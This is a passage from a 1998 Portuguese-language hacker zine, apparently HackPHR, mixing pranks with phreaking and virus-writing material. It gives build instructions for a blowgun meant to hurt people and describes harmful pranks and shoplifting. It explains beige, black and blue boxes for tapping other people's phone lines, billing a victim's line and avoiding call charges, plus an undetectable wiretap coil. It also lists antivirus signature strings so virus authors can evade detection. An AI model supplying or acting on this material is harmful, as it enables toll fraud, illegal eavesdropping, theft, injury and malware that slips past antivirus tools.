esses malditos Skin-heads, e os que merecem punio so eles mesmos, os
Skin. Se eles tivessem uma boa ideologia, e s um pouco de inteligncia
(at um cachorro tem +) garanto que no fariam e falariam tanta bosta.
Bom, deixo aqui meu recado contra esse tipo de manifestao, o Nazismo.
                                           
--> A V I S O: Gostaria de avisar aos leitores tb sobre outra coisa, o tpico
que prometi escrever na edio anterior referente a fraude no bradesco,
infelizmente, no poderei fazer. Recebi e-mails de pessoas "avisando" que o
negcio poderia "feder" se escrevesse isso.No eh nenhuma coisa extraordinria
mas conheo office-boys que j fizeram isso e ainda do risada, em compensao
existem uns outros que se foderam grando. Mas no esquentem q tem + coisa
quente...vindo...

                          -=-=TUBO DE FEIJO=-=-
                              

      Como havia dito a vcs, a est uma "arminha" muito fcil de fazer,
      no envolve nada como plvora ou etc, coisas que tenho certeza, a
      minoria das pessoas tenta realizar esse tipo de experincia com esse
      material. Esse tubo pode at ser considerado ridculo por uns, mas
      quando agente faz e testa em algum, garanto que muita risada vc vai
      dar!Eh SIMPLES E RPIDO de fazer, no exige conhecimento, apenas
      ATENo!!

 Material necessrio : (*) Essencial  (-) No essencial 

* Um tubo de zarabatana, ou um tubo de PVC (pvc tem q ser bem fino)
   PVC eh + fcil de ser encontrado, qquer loja de construo.
* Uma bexiga (essas que vc v em festa de crianas, compre umas trs por
  precauso..se ela s'tourar!)
* Durex ou Fita isolante (algo q grude bem).
* Alguns feijes.
- O PVC deve ter +ou- uns 90 cms de comprimento.
- Repare, qto maior a abertura da boca do tubo, menor a preciso do tiro
  ento se possvel, arranje um PVC fino.
 Instrues

Pegue o Tubo de PVC, e escolha uma das pontas para por a bexiga, ponha a
bexiga, de modo que a boca do tubo entre na boca da bexiga,
ele ir ficar +ou- assim:

                                             1 - Bexiga
   ͻ        2                           2 - Tubo PVC
       ---------------------
    1  ---------------------
   ͼ

Em seguida, prenda a bexiga no PVC, com o Durex, ou algo que gruda bem,
ele ir ficar +ou- assim:

   ͻ    3       2                        1 - Bexiga                (  )
       -|--------------------            2 - Tubo de PVC           (----)
    1  -|--------------------            3 - Durex prendendo bexiga( |  )
   ͼ                            

Agora para testar se a bexiga est firme e resistente, pegue ela pela ponta
puxe bastante e solte, se ela aguentar o tranco blz, se no aguentar,
eh preciso reforar a bexiga, prendendo-a com durex.

 Funcionamento:

Pegue um feijo e ponha na boca do tubo, claro, a boca que NO est a bexiga;
Agora ponha em p o tubo de modo que o feijo caia e v para a bexiga;
Pela bexiga, pegue o feijo...puxe BASTANTE, mire em algo ou ALGUM
e solte... di pra caralho!!!


DICA: O nome Tubo de Feijo foi pq antes de usar + nada eu testei com
feijo (cru, claro sua besta). Mas se vc quiser zoar mesmo, enrrole papelotes
com p de mico e use, ou papelotes molhados com gua e bastante SAL por fora
se a s'tilingada for forte e o sal pegar, essa porra coa pra caralho!
-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=                  

            Agora porque no comeamos a zoar um pouco, hein??

-> Se voc gosta de ir a supermercados pra zoar, a vai uma das que sempre
   fazia: (Essa eh apenas uma delas...)
   OBS: Leve um GRAMPEADOR no seu bolso.

-> Qdo vc for comprar po, pea uns dez pra mulher por num saco de papelo
   grande. A, quando ela por os pes no saco e grampear, v pra uma sesso
   que vc gosta...tipo chocolates..bebidas..abra o saco do po e meta TUDO
   l dentro, fique  vontade, pois voc no vai pagar mesmo, he he..
   a, qdo vc terminar de zoar, pegue o grampeador e meta grampo no saco
   novamente como se nada tivesse acontecido.

-> Na sala de aula, pegue alguns gizes, uns 6 t bom...(qto + melhor)
   da, arranque uma folha de caderno e ponha os gizes em cima. Dobre
   at formar uma bola, e a, comece a bater no cho ou na cadeira para
   que o giz l dentro vire p...Qdo a galera comear a zoar, pegue nossa
   bolinha e atire no ventilador..ah..essa eh foda, t d muita risada!

-> Pegue uma garrafa de refrigerante, plstico ou vidro, grande ou pequena;
   encha ela at a boca de gua (at a boca mesmo). Da ponha uma moeda de
   qquer valor EM BAIXO da garrafa. Pea pra um amigo seu atravs da boca da
   garrafa ver que lado est a moeda, qdo ele se afastar, avise-o que vc com o
   poder da mente, mudou a moeda de lado...pea pra ele olhar novamente...
   qdo ele chegar com o olho prximo da garrafa, enfie o dedo na boca da
   garrafa com toda fora...ir voar um litro d'agua pro olho dele!!

-> No seu prdio, ou qquer outro, v at o ELEVADOR que eh mais utilizado
   por todos, ah, leve junto COLA de SAPATEIRO, da, ENCHA de cola onde as
   pessoas "puxam" o elevador...sim a "maaneta" do elevador, velho, essa eh
   da hora, a mo daquele sndico filho da puta vai se lambuzar toda...
   Se vc quiser melhorar a brincadeira, em vez de cola de sapateiro...
   Super BOnder! 

-> Pegue coc de cachorro, aquelas bostinhas redondas e secas...
    noite, ponha dentro da meia do seu irmo/m, qdo ele(a) acordar
   e por a meia...vai se foder.............. FODA!!!!!!

-> Ponha tachinhas na cadeira daquele nerd do seu colgio, tachas so fceis
   de ser encontradas porque geralmente existem "avisos" presos com ela na
   sua maldita sala de aula.

-> Ponha chiclete no pente ou escova de cabelo da sua irm...

-> Quando voc for sair pra um bar ou discoteca... lugares que as pessoas
   geralmente fumam, no esquea de levar seu ISQUEIRO e deixar o fogo no
   nvel MXIMO, assim quando aquela Paty ou Boy for pedir o isqueiro, vai
   levar um PUTA SUSTO quando acender..
-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=

                          -=-=SUSTO ELETRNICO=-=-


- A vai um jeito bem IMBECIL de "acordar" algum:

 Material necessrio : (*) Essencial (-) No Essencial

* 2 Pilhas, de preferncia grandes;
* Dois pedaos de fio de cobre, ou qquer outro condutor eltrico melhor;
* Durex;

- De preferncia Duracell pq so + fortes.
- No so necessrias pilhas grandes (mas eh melhor!)

 Instrues:

Pegue UMA pilha, e prenda com o Durex o fio de cobre no polo POSITIVO (+)
Pegue UMA pilha, e prenda com o Durex o fio de cobre no polo NEGATIVO (-)
Agora junte as duas pilhas e enrrole-as com durex para que no escapem da
sua mo.

 Funcionamento:
Quando a pessoa estiver dormindo ou se ela concordar em fazer o "teste",
pegue as pontas dos fios de cobre que esto grudadas nos polos da pilha
(um + e outro -) e encoste na lngua da pessoa...
O resultado fica por conta de vocs.
-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=

                          -=-=PLANETA & INFO=-=-

-> NO CONSISTENTE 
( o nome que dou a matrias publicadas que no funcionam, a uma delas 
e como sempre farei, sempre ter uma explicao lgica.)

   J l em vrios lugares e textos, que para voc deixar de levar multa de 
   trnsito por radares fotogrficos, bastaria por um "cd" na traseira do
   seu carro. Mentira, na teoria at funcionaria, ou seja, quando o flash
    emitido, ele refletiria no cd e "cegaria" a imagem, fazendo com que a
   luz do flash, voltasse. Mas na prtica  diferente, porque quando o flash
    emitido, a luz pode at bater no cd, mas a luz no segue apenas uma rota,
   ela se dispersa pelo ar.

-> Sistemas Vulnerveis

   Janet Reno, secretria da justia dos EUA, anunciou a criao
   de um novo Centro de Proteo da Infra-EStrutura Nacional (NIPC).
   Para Reno, o excesso de confianana tecnologia torna os sistemas
   do governo vulnerveis. O orgo ter representantes do Depto. de
   Defesa e do Servio Secreto.

-> Micros Travados

   Milhares de usurios do "Windows NT" tiveram os seus computadores
   travados na semana passada. O problema foi causado por Hackers, que
   enviaram dados inteis para computadores equipados com verses antigas
   do soft e conectados  Internet. Segundo a Microsoft, no houve registro
   de perda ou roubo de dados.

-> O Analista

   Foi preso o rei dos Hackers, ou pelo menos um deles. Um Israelense de
   codnome O Analista,foi detido por ter acessado inmeras vezes os
   computadores do Pentgono e Nasa, alm de ter obtido alguns dados
   confidenciais. Ele estava deixando essa vida, mas estava passando
   seus conhecimentos a outros dois adolescentes. O Analista, um jovem de 18
   anos, alega em sua defesa que ajudou o pentgono a "reconhecer" as falhas
   em seu sistema.

*-*-*-*-*-*-*-* As matrias "Sistemas Vulnerveis" e "Micros Travados"
                foram retiradas da Folha de So Paulo.
                A matria "O Analista", foi retirada da revista VEJA.
 

AVISO I: A galera, pra quem no se lembra, edio passada, avisei que
         iria tentar arranjar um jeito de burlar o sistema de metr de
         SAmpa, com aqueles MaldiTo$ bilhte$, apesar de no ter recebido
         nenhum tipo de ajuda, estarei testando meu "prottipo" de bilhete
         dentro de alguns dias, se o resultado for bom, pode deixar que
         EU irei ajud-los a no pagar + metr.

AVISO II: Novamente, peo a colaborao de vocs e que me enviem qualquer
          tipo de informao (at info. idiotas) sobre as catracas eletrnicas 
          que j foram implantadas aqui. Com certeza, vamos descobrir um
          jeitinho brasileiro, pra essas merdas deixarem de custar caro.
-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=

                        -=-= BNUS - 2 PARTE -=-=-

Segue logo abaixo o complemento dos palavres e grias que iniciei
na edio anterior...se divirtam...... 


Proposition             -Cantada
Tear                    -Bacanal
Cock teaser             -Mulher fresca
Sex pot                 -Gostosa/tesuda
Lust                    -Teso/desejo ardente
To deflower franish     -Deflorar
To rape                 -Violentar
Raper                   -Estuprador
He-man/big boss         -Macho
Sixty-nine              -Sessenta e nove
To fuck badly           -Tirar o atraso
Stallion                -Garanho
Chicken                 -Cago/Covarde
Thigh                   -Coxa
Crickhold               -Corno
Sex freak               -Tarado sexual
Soft petting            -Sarro leve
Heavy petting           -Sarro pesado
To piss                 -Mijar 
To fart                 -Peidar 
To fuck/ball            -Foder
Lesbian/tom boy         -Lsbica
Curse/period            -Menstruao
Ejaculate               -Ejacular 
To cun/shoot            -Esporrear
Double/Gaited guy       -Gilete
Ethel/lily/Rang/Sissy   -Gay,bicha,viado
Scupper/Charity girl    -Puta disfarcada
Tramp bitch             -Puta vagabunda
Whore house/barrel house-Zona
Fuckin` cuntsucking     -Foda de lngua
Fornication             -Putaria
To lick                 -Lamber
To come on              -Gozar "I`m coming"
Sodomise                -Coito anal
Caned goods             -Cabao
Pussy/Cunt              -Boceta
Box/cunt                -Boceto
Slit                    -Racho da boceta
Clit                    -Clitris
Bush                    -Pentelho
Balls/pricks            -Saco
Balls/diamonds          -Ovos,culches
Prick/dick/cock/arm     -Pau/pinto
Stiff dick              -Pau duro
Rod/thick stake         -Pica grossa
Jism/cum                -Porra
Asshole                 -Imbecil,besta,idiota,burro
Bossoms/boobs,wombs     -Tetas
Nipplee teat            -Bico do peito
Babe/Chick-             -Tesozinho
To open up              -Arreganhar
To jerk off/jack off    -Bater punheta
Prick sucker            -Chupador de pau
Pussy sucker            -Chupador de boceta
Annilingus              -Chupador de cu
Fuckdog fashion         -Meter por trs
Fellation/sucking       -Chupar no cacete
Roll in the bay/Bouncy  -Foda, trepada
To ravish               -Tirar o cabao
To get a piece of ass   -Conseguir um rabo gostoso
To get hard on          -Ficar de pau duro
To give the asshole     -Dar o cu
Cat house               -Zona barata
Ass                     -Cu,bunda
-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=
 isso a, novamente chegamos ao final de outra edio, acho que vocs devem
ter gostado...

Continuem mandando Mails. Se quiserem enviar matrias, mandem bala...
No colocarei tpicos da prxima edio que a, perder a graa e no
quero + saber de restries s matrias que publicarei, por isso.
-----------------------------------------------------------------------------
Pensamentos do dia: " muito fcil falar de coisas to belas...
                     de frente pro mar, mas de costas pras favelas."
                     -PLANET HEMP, esses caras detonam. ~

                     "Nenhum computador tem conscincia do que faz.
                      Mas, na maior parte do tempo, ns tambm no."
                     -MARVIN MINSKY, Criador do Lab. de Inteligncia
                      artificial do MIT.

                     "Se voc treme de indignao perante uma
                      injustia no mundo, ento somos companheiros."
                     -CHE GUEVARA

E - M A I L :  pennsador@hotmail.com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

RaGE aGainsT   leD ZEPPelIN   /\//REVOLUO\\/\   dOORS       PulP FICtion
           nIRvAna           /\/\/\/\/\/\/\/\/\/\      rAIMuNDOS
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\//\/\/\/\/\//\/\/\/\///\/\/\////\/\/\/\/\/                                    


                                 
   1998, Pensador - HackPHR Zine
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


                          06  -  DISSECAAO BOXEANA
                         -=-=-=-=-=-=-=-=-=-=-=-=-=-


   Bem, todos os phreakers do Brasil. Aos q leem este zine, e se interessam
por phreak, podem vir falar comigo q estamos precisando de phreakers p/ o
grupo. Nao precisa ter medo, e achar q vc nao sabe muito e q iremos fazer algo
com vc, aparea algum sabado ou domingo a tarde ou a noite no IRC q estamos
lah para falar com o pessoal q quer entrar. Mas nao esquea antes de mandar o
apply. Por favor, eu recebi muitos applys mas nao respondi pelo fato de ter
perdido minhas chaves antigas do PGP, entao peo desculpas a todos q me manda-
ram e podem mandar de novo p/ outros integrantes ateh q eu nao pegue o PGP de
volta.
   Soh nao me venha com essa:
   EU:    - O q vc sabe fazer?
   LAMER: - Ligar de graa.
   EU:    - Q metodo? Vc inventou?
   LAMER: - Ah, eu coloco grafite no cartao e funciona, pq o grafite eh um
            supercondutor...  

   Eh serio, eu jah vi gente dizendo q o grafite eh um supercondutor... ahaha
Eu repito q nao quero pessoas q saibam ligar de graa, quero pessoas q enten-
dam um minimo de eletronica (ou querem comear) ou entendam sobre sistemas
telefonicos. O importante eh vc conhecer e entender o sistema, depois p/ ligar
de graa eh moleza, nem precisa pensar q jah surgem mil ideias na cabea.
   Bom, voltando ao assunto da materia, "dissecaao boxeana", tsc tsc, q nome
bobo, pois eh, eu nao tinha outro em mente pus essa coisa mesmo, tmb o titulo
nao importa muito e sim a materia em si.
   Eu nao vou apenas fazer esta materia com este titulo, e sim muitas outras
onde sempre q possivel vou comentar sobre algumas boxes utilizadas nos EUA e
se possivel modificar o circuito p/ adapta-las para o nosso sistema. Apesar de
q muitas delas nem precisam ser adaptadas, como eh o caso da Beige Box. Exis-
tem tambem outras boxes q lidam com tv a cabo por exemplo, entre outras coisas.
   Se algum phreaker no Brasil inventou uma box, (ainda desconheo algum caso)
e nao tem onde divulgar, terei o prazer de abrir meu espao aqui no zine para
a divulgaao de seu projeto. Eu conheo muita gente q cria boxes telefonicas
sem finalidades ilegais, mas interessantes mesmo assim, mas nao conhece o
mundo phreak, e nao batizou sua box, eh logico, pois tmb desconhece o termo
BOX. Essas pessoas se quiserem se juntar ao grupo e serem introduzidas nesse
maravilhoso mundo underground q eh o phreak, fale comigo q farei o possivel
para ajudar, pois ajuda eh o q o phreak brasileiro mais precisa...
   Muita gente reclama q eu nao coloco nenhuma materia sobre telefonia celular.
Bom, eu nao coloco pelo simples fato de eu nao me interessar muito pela tele-
fonia celular movel. E ainda confesso q nao entendo muito de celulares, sei
como ele funciona e tal, mas nao manjo muito sobre a programaao dos aparelhos
pelo fato de:
   -Ser um saco mexer com telefones celulares.  (na minha opiniao)
   -Como o sistema telefonico movel do Brasil eh igual ao americano, jah tem
    muito material sobre celulares se formos comparar com o material sobre
    a telefonia normal. Eh apenas o ZeMaNe traduzir um textozinho e pronto:
    tai o mais completo guia sobre telefonia celular americana > eh soh apa-
    gar o americana e por brasileira...


   Agora entrando no assunto:

   Vou comentar nesta materia as seguintes boxes:

   Blue Box: muito conhecida da galera - ligaoes internacionais gratuitas
   Black Box: jah publiquei em outra ediao, mas vou falar mais um pouco sobre
              esta box. - engana o sistema de tarifaao.
   Beige Box: box muito simples. - uso geral.

   Falarei tambem sobre boxes para escuta telefonica.

               
            -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

                B R A Z i L i A N   P H O N E   B O X i N G  
                = = = = = = = = =   = = = = =   = = = = = =

   BEIGE BOX   - TESTADA E APROVADA
  |=-=-=-=-=|

   A Beige Box americana nao tem segredo nenhum, e tambem serve aki no Brasil.
Nem precisa ter um cerebro pra faze-la, aposto q um monte de mane jah cons-
truiu uma e nem sabia q era uma beige box. Apesar de ser tao simples, a Beige
Box eh uma das ferramentas q o phreaker obrigatoriamente tem q ter.

   Como construir uma:
   -=-=-=-=-=-=-=-=-=-

   Material:

   - 1 Telefone Comum; o menor possivel
   - 2 Garras Jacare
   - Fio

   Entenda q quando vc for se deparar com fios de telefone, vc ira encontrar
dois fios, um para cada polo; negativo e positivo.
   Pege o fio do telefone e solde quanto fio vc quiser, ateh q fique de um 
tamanho ideal. Vc pode usar um plugue para fazer uma extensao, pois as vezes
vc tem q ficar com a box um pouco longe do local onde vc vai engatar os jaca-
res. Faa como mostra o diagrama:





           telefone
       /--------------\
      /   __       __   \
      |__//   ooo   \\__|  fio tel        fio garra
          |   ooo   |=============--- ---============\\\\ garras
          \_________/=============--- ---============//// jacare
                           fio tel        fio garra


   O esquema eh mais ou menos esse aih de cima. solde cada jacare em cada fio
que sai do telefone. Caso vc nao queira detonar com o fio do telefone, vc pode
fazer o seguinte:
                                  ______________________
                                 |                      |
  plugue padrao do telefone      |                      |
      _____________              |        ______        |
     |             \             |       | |||| |       |
-----|-----|     ===|            |       |      |       |
-----|-----|     ===|            |       |______|       |
     |_____________/             |                      |
                                 |                      |
                                 |                      |
                                 |______________________|
     __                            tomada para o plugue
    |  |            /---|+++        
    |  |===========|        jacares
    |__|            \___|+++
              
   tomada    //===============================================================
   para o    ||  Voce pode fazer como no esquema acima, conectar os jacares a
   plugue    || tomada, aquela com um buraco quadrado onde engata o plugue do
             || telefone. Geralmente essa tomada tem apenas dois pinos dentro
=============// do quadrado, caso vc encontre uma tomada importada, ela tera
mais pinos pelo fato de que outros paises, como eh o caso dos EUA, usam 4 fios
na linha telefonica. Neste caso vc deve engatar nos dois pinos do meio. Pronto
aih estah nossa Beige Box. As utilidades dela sao diversas, vou falar sobre
algumas:

   Caixas de Verificaao:
   ====== == ============

   A Beige Box eh o instrumento ideal para ser utilizado em caixas de verifi-
caao, apenas engate cada ponta do jacare em cada fio de um dos pares de lah
e pronto.


   NO PAIN, NO GAIN...
   == ===== == =======

   Caso vc consiga descobrir o par de fios da casa do seu inimigo, nem pense
duas vezes, de um 0900 #@! bullshit, e aumente a conta do coitado, soh nao 
abuse da sorte e ligue pra sorteios, nao queira dar um premio ao seu inimigo.
Vc pode fazer da propria linha do inimigo apenas puxando uma extensao do pos-
te, no qual vc tenha o acesso facilitado por uma arvore, por exemplo...


   BLUEBOXING
   ==========

   Vc pode conectar a orelhoes e fazer blueboxing com menos riscos de ser pego
e tambem para ligar normalmente de orelhoes, dispensando o uso do diodo.


   ESCUTA TELEFONICA
   ====== ==========

   Como vc deve ter pensado, a Beige Box nao passa de uma extensao, vc usa
dois telefones numa mesma linha. Isto quer dizer q caso os dois telefones
sejam levantados, um pode ouvir a conversa do outro, ou mesmo interferir.
Mas deve-se levar em conta de q isto causa uma queda na corrente da linha,
assim baixando o som. Os mais espertos podem facilmente montar um circuito
q acenda um led, por exemplo, caso a corrente abaixe alem do normal.
   Fazer escuta com Beige Box eh a coisa mais escrota q existe, sendo q exis-
tem boxes q sao especificas para a escuta, a maioria delas precisa ser conec-
tada na linha, assim, sempre ha uma queda na corrente da linha, e a pessoa,
caso seja mais esperta pode perceber facilmente q sua linha foi boxeada.
   Existe uma maneira mais eficiente para se fazer escutas, na qual vou falar
depois de apresentar as outras boxes.




   BLACK BOX   - TESTADA E APROVADA
  |=-=-=-=-=|

   Eu jah mencionei a construao de uma Black Box anteriormente, mas aquela
materia deixou a desejar, entao vou colocar uma coisinha a mais aqui.
   A Black Box funciona no seguinte esquema:
   Quando o telefone esta em repouso, a tensao da linha eh de mais ou menos
9V de tensao continua. Quando o telefone eh chamado, a tensao fica alternada
numa frequencia de mais ou menos 25Hz e sobe p/ uns 70V (lembrando q a onda
eh quadrada). Enquanto esta tensao for de 70V, a central ira interpretar como
se o telefone ainda estivesse tocando, e nao comea a tarifar a chamada.
   Entao, o q a Black Box faz eh manter esta tensao constante, fazendo com q
a pessoa q telefona nao pague pela chamada. Mas como vc jah deve ter percebi-
do, a central corta a linha apos exatamente um minuto e meio de chamada. Sendo
q vc nao pode ficar mais tempo q isso falando com a Black Box.

   Material Necessario:

   - 1 resistor de 4k
   - 1 interruptor

   Primeiramente vc tem q descobrir a polaridade da linha. Para isso vc pode
usar um circuitozinho como este:


                                  
                      3,3k       |\ |  LED
     (+) <---------------| >|--------\
                                 |/ |        |
                                             |
                                             |
     (-) <-----------------------------------/


   Coloque o resistor no anodo do LED, e considere aquela ponta como o polo
positivo, e a outra como negativo. Depois de montado, o circuito deve ter o
seguinte aspecto:



                      __
                     |  |
                     |  |
                    ====== 
                     |  |    /----\
                     |  |  /              |
                    /   |/                |
                   |    *                 |
                   |                      |
                   |                      |
                 =====                  =====
                  |||                    |||
                  |||                    |||
                  |||                    |||
                  |||                    |||
                   #                      #
                   #                      #

                  (-)                    (+)


   Observe bem a polarizaao do LED, o lado q tem um pequeno chanfro eh o
catodo, e eh o lado q entra a corrente negativa. O anodo deve ser ligado em
serie com o resistor. Para facilidade de manuseio, marque com cores as pontas
de prova, Ex.: vermelha a positiva, e preto a negativa.
   O uso eh muito simples: Vc coloca cada ponta em cada fio, se vc polarizar
corretamente, ou seja, a ponta vermelha (positiva) no fio positivo, e a nega-
tiva no negativo, o LED deve acender. Caso ele nao acenda, mude a posiao, e
voila...

   Agora voltando ao circuito da Black Box:
   O Esquema eh este:



linha telefonica           
------------------------------------------------------------  
                                                           ao 
                              4k                           telefone
---------------------*---------*-------------------
                     |                  |
                     |                  |
                     |                  |
                      -----o     o-------
                            \
                              \

   Essa simplicidade aih eh a Black Box. Se vc quiser pode colocar um LED em
serie com o resistor, assim ele acende quando vc aciona a box, eh frescura
mas fica mais massa. Quando vc levantar o fone do gancho, vc nao deve ouvir
o dialtone. Caso vc tenha dificuldade para ajustar a resistencia do resistor,
tente um potenciometro de uns 6k.

OBS.: Note q para o acionamento da box o interruptor deve estar aberto, e para
      desliga-la ele deve estar fechado, assim, colocando o resistor em curto.

   Eh isso aih...



   BLUE BOX
  |=-=-=-=-=|

   A Blue Box eh uma das Boxes mais conhecidas, eh uma q funciona no Brasil 
pelo fato de vc enganar os sistemas de outros paises. Aih vem um e me pergun-
ta: Mas a Blue Box soh serve pra fazer ligaoes internacionais?
Bom, eh claro q nao, vc pode fazer qquer tipo de ligaao com a Blue Box, mas
vc tem q ser bem pamonha pra fazer BB pra fazer uma ligaao local pra convidar
seu vizinho pra um DeathMatch de DukeNukem via modem...
   A Blue Box eh meio trabalhosa. Vc tem q encontrar um numero e scanear a
frequencia da central pra ter acesso ao trunk.
   A explicaao eh mais ou menos assim:
   Vc tem q encontrar um numero 000-80XX.
   Vc pode ir chutando ateh encontrar um. Vc vai ouvir uma gravaao na lingua
do pais q vc ligou. Nao se preocupe q a ligaao nao eh cobrada, depois da li-
gaao, a telefonista atende e manda o sinal pra ter acesso ao trunk. Nos pro-
gramas de BlueBoxing vc tem uma opao pra scanear o trunk. Assim ele lhe dah
a frequencia da central, aquela q apareceu antes da telefonista lhe atender,
o som eh de alta frequencia, e por isso inaudivel. Assim, depois q vc tiver
scaneado a frequencia da central, vc manda o sinal por si mesmo e tem acesso
ao trunk sem nenhuma telefonista pra te torrar. Sendo assim, vc pode usar os
CCITT tones pra ligar pro numero q vc quiser sem q ninguem tarife sua ligaao.
   Esse eh o esquema de funcionamento mais simples q eu poderia ter dito.
Quem quiser se aprofundar mais na Inet tem bons textos em ingles sobre Blue
Box.
   Vou ficando por aqui. Eu poderia continuar falando mais sobre a BlueBox,
muito mais, mas deixo pra outra ocasiao.


OBS.: Muitos chamam a Blue Box de Blue Beep, o q eh errado. Blue Beep eh o
      nome de um programa de BlueBoxing, e nao deve ser confundido...



   UM POUCO DE ESCUTA TELEFONICA
  |=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|

   Antes, quando estava falando sobre a Beige Box, eu falei em escuta. A Bei-
ge Box naum eh muito indicada pra se fazer escuta telefonica, e outros medo-
tos de se boxear linhas p/ escuta tmb nao sao eficientes, pois causam uma que-
da consideravel na corrente continua da linha.
   Uma maneira muito facil e simples eh utilizando um apetrecho comercialmente
conhecido como "maricota".
   Vc jah deve ter visto esses telefones q os tecnicos usam nos postes. Eles
tem uma bobina em cima do fone, pois eh, o nome daquilo eh maricota.
   Mas o q vem a ser essa maricota? A maricota nao passa de uma bobina capta-
dora q recebe as ondas eletromagneticas enviadas pelo alto falante. Para faci-
litar o entendimento do funcionamento da maricota, veja o esquema:



                              /------------------\
      maricota              /                     \   ondas
         / ----\          /              /|        |  eletromagneticas
       /        |  - - - | - - - -   /  |  - - - |  - - -
------|         |  - - - | - - - - /    |  - - - |  - - -
------|         |  - - - | - - - - \    |  - - - |  - - -
       \        |  - - - | - - - -   \  |  - - - |  - - -
         \ ____/         |               \|        |
                         |              ___________/
                         |             /
                         |            |
                         |            |

   Como eu estava dizendo, a maricota nao passa de uma bobina q capta essas
ondas q sao emitidas pelo alto falante do telefone. As ondas sao induzidas
no enrolamento e podem ser ligadas a entrada de microfone de um gravador qquer
   O gravador miniatura eh outra ferramenta indispensavel ao bom phreaker.
   Vc pode fazer sua propria maricota com umas 5.000 espiras de um fio esmal-
tado bem fino. Vc deve ter em mente q quanto maior o numero de espiras, maior
vai ser a captaao das ondas pela maricota. E vc tmb nao pode de maneira algu-
ma cobrir o enrolamento com qquer superficie de um material diamagnetico, ou
ferromagnetico, pois eles irao modificar o campo emitido pelo auto falante e
a bobina soh vai captar chiados.
   Agora vc pensa: mas q porcaria essa maricota, 5.000 espiras, q trambolhao,
como eu vou fazer escuta com um tijolo desse?
   Bem, vc nao precisa estar exatamente com a maricota no fone, vc pode captar
da propria linha telefonica! E o melhor, sem causar nenhuma queda de corrente,
o q torna esta escuta indetectavel...
   Caso vc esteja em algum lugar, e suspeita q dentro da parede passam os fios
da linha, vc pode encostar a maricota na parede e tentar escutar alguma coisa.
   Soh se vc for fazer isso, nao se assuste caso ouvir um ronco estranho, pois
a bobina tmb ira captar a frequencia de 60Hz da corrente alternada da rede de
energia.
   A maricota eh muito simples, eis o aspecto depois de montada:



           5.000
           espiras                                   entrada de
           /--\--\                                   microfone    
          |    |  >==================================
           \__/__/                                      
                                                         
                                                         ||
                                                         \/




   Divirtam-se, e ateh a proxima DISSECAAO BOXEANA...


   1998, MaNdRaCk - HackPHR Zine
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


                              07  - VIRII 
                             -=-=-=-=-=-=-=-=-=-=-  

        Ai' galera. Eu tava sem o que escrever pra essa secao virii do zine.
   O problema e' que estou trabalhando sozinho na criacao de novos virus, e
   isso exige muito tempo. Portanto, enquanto nao lanco outro virus vou escre-
   vendo sobre coisas que ajudam e vao ajudar muito na hora de fazer novos
   virus. Nessa materia vou dar as strings dos principais virus detectados pe-
   lo viruscan, aquela merda de antivirus do John Mcafee.
        Um grande problema dos criadores de virus(e que ja' me relataram por
   mail) e o seguinte: um camarada fica dias e dias fazendo um novo virus, com
   tecnologia nova, totalmente indetectavel aos antivirus atuais e eis que,
   quando se vai testa-lo com um antivirus qualquer que analiza a assinatura
   dos virus(como por exemplo o viruscan), ele e' relatado como ja' existente
   (com outro nome, claro) ou entao como variante de um outro. Para se evitar
   isso, apos detectar qual string virotica esta interferindo no codigo do vi-
   rus e' so editar seu virus com um editor EXA qualquer e procurar pela assi-
   natura do virus ja existente que esta interferindo no seu. Apos detectar
   onde esta localizada a string, basta substitui-la com o metodo que eu en-
   sino no zine 04 para criar variantes.
        Acho que essa explicacao ja' foi suficiente. Se alguem tiver mais al-
   guma duvida e' so me procurar no #hackphr da Brasnet fim de semana.
        O formato usado nessa lista de assinaturas e' a assinatura e logo em
   seguida o nome do virus. Entre colchetes esta como o viruscan trata cada um.

        --------------------------------
        b9 cf 02 2e 8a 27 2e 32 a6 ?02 2e 88 27 VCL [Con]
        b9 be 02 8d b6 ?02 8b fe ac 2e 32 a6 VCL [Con]
        81 c5 fd fe b8 ab 42 cd 21 73 65 fa Hitler [Hit]
        81 ec 87 00 c6 86 79 ff 5c b4 47 32 d2 8d Voco [OW]
        8d b6 d4 02 bf 00 01 57 a5 a4 8b fd Year 1993 [Y93]
        8d 56 80 cd 21 b4 4e b9 27 00 5a cd Popoolar [OW]
        88 67 02 *01 83 c3 ?01 *01 81 fb 77 08 *01 7e Sandra [OW]
        b9 00 04 be 0c 01 80 34 ?01 46 e2 fa Dir II var [D2v]
        bb 95 01 eb 21 33 c0 be 00 7c fa BFD [BFD]
        bb 95 01 eb 21 33 c0 be 00 7c fa BFD [BFD]
        83 3e 72 02 00 74 03 e9 91 00 83 3e 70 02 Comspec [CSPEC]
        bd ?02 81 76 00 ?02 45 81 fd ?02 72 f4 bd ?02 c3 Romanian [Rmn]
        bb 3c 01 8a 27 90 32 26 06 01 90 88 27 Fratricide [OW]
        8a 84 09 00 bb 1c 00 2e 30 00 43 81 fb 2c Peek [Pek]
        8d bf 98 01 f3 a4 8b f3 b8 24 35 Atas-400 [400]
        83 ee f0 ff 06 fc 02 b9 f0 01 f3 a4 4Mat2 [4M2]
        ea 3a 00 00 30 cd 13 ea 00 7c 00 00 50 1e 31 c0 Compiler2 [Cpl2]
        ea 3a 00 00 30 cd 13 ea 00 7c 00 00 50 1e 31 c0 Compiler2 [Cpl2]
        8b 3e 01 01 81 c7 03 01 2e 81 3e 01 01 84 Digger [Dig]
